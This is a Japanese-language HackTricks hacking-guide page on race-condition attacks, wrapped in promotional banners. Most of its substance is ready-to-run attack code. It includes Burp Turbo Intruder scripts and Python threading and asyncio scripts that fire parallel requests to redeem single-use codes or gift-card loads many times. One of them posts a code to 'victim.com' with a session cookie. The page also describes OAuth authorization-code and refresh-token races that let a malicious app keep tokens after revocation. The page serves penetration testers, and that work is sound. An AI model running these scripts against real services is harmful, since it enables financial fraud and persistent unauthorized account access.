11 KiB
レースコンディション
Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください、独占的なNFTのコレクションです
- 公式のPEASS&HackTricksのグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- **ハッキングのトリックを共有するには、hacktricks repoとhacktricks-cloud repo**にPRを提出してください。
回数制限によって制約されるもの
レースコンディションは、アクションの実行回数が制限されているウェブサイトで発生する脆弱性です。非常に簡単な例は、このレポートで見つけることができます。
一度だけ使用できるコードを複数回使用する
ウェブページに一度だけ行うべきアクションを実行しますが、そのアクションを複数回実行すると利益を得ることができる場合、レースコンディションを試す必要があります。
ほとんどの場合、これはお金に直接関係しています(アクションが実行されるとXのお金を得るため、非常に速く複数回実行しましょう)。
同じアカウントから同じコードを複数回使用する
例えば、このバグでは、ハンターがギフトカードにお金を複数回ロードすることができました。
以下は、上記の解説で使用されたturbo intruderスクリプトです。
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
for i in range(30):
engine.queue(target.req, i)
engine.queue(target.req, target.baseInput, gate='race1')
engine.start(timeout=5)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
BURPを使用して、リクエストをIntruderに送信し、オプションメニュー内でスレッド数を30に設定し、ペイロードとしてNull payloadsを選択し、30を生成します。
異なるアカウントから同じコードを使用する
以前の提案がうまくいかなかった場合(同じアカウントから何度も同じコードを使用してみてください)バリアントを試してみてください: 異なるアカウントから同じコードを使用してみてください:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
Pythonを使用する
Race conditions(競合状態)は、複数のプロセスまたはスレッドが同時に共有リソースにアクセスすることで発生するセキュリティ上の脆弱性です。Pythonを使用して競合状態を利用する方法を以下に示します。
import requests
import threading
def race_condition(url):
response = requests.get(url)
if response.status_code == 200:
print("Success")
else:
print("Failure")
def exploit_race_condition(url):
threads = []
for _ in range(10):
thread = threading.Thread(target=race_condition, args=(url,))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
url = "http://example.com"
exploit_race_condition(url)
このPythonスクリプトでは、race_condition
関数が共有リソースにアクセスし、exploit_race_condition
関数が複数のスレッドを作成して同時にrace_condition
関数を実行します。これにより、競合状態が発生し、リソースへのアクセスが争われます。
このスクリプトを実行すると、race_condition
関数が同時に実行されるため、リソースへのアクセスが競合し、成功または失敗の結果が出力されます。
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
OAuth2永続的な永続性
いくつかのOAuthプロバイダがあります。これらのサービスは、プロバイダが登録したユーザーを認証し、アプリケーションにアクセスを許可することができます。そのためには、クライアントがアプリケーションにアクセスを許可する必要があります。
したがって、ここまでは、Google/LinkedIn/GitHubなどの一般的なログインで、以下のようなページが表示されます: "Application <InsertCoolName> があなたの情報にアクセスすることを希望しています。許可しますか?"
authorization_code
における競合状態
問題は、それを許可すると、悪意のあるアプリケーションに自動的にauthorization_code
が送信されるときに発生します。その後、このアプリケーションはOAuthサービスプロバイダの競合状態を悪用して、authorization_code
から複数のAT/RT(認証トークン/リフレッシュトークン)を生成します。基本的には、あなたがアプリケーションがデータにアクセスすることを許可したことを悪用して、複数のアカウントを作成します。その後、アプリケーションにデータへのアクセスを許可しなくなると、1組のAT/RTは削除されますが、他のものは有効のままです。
Refresh Token
における競合状態
有効なRTを取得した後、それを悪用して複数のAT/RTを生成しようとすることができます。そして、ユーザーが悪意のあるアプリケーションに対してアクセス許可をキャンセルしても、複数のRTは有効のままです。
参考文献
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricksのリポジトリとhacktricks-cloudのリポジトリにPRを提出してください。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得してください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}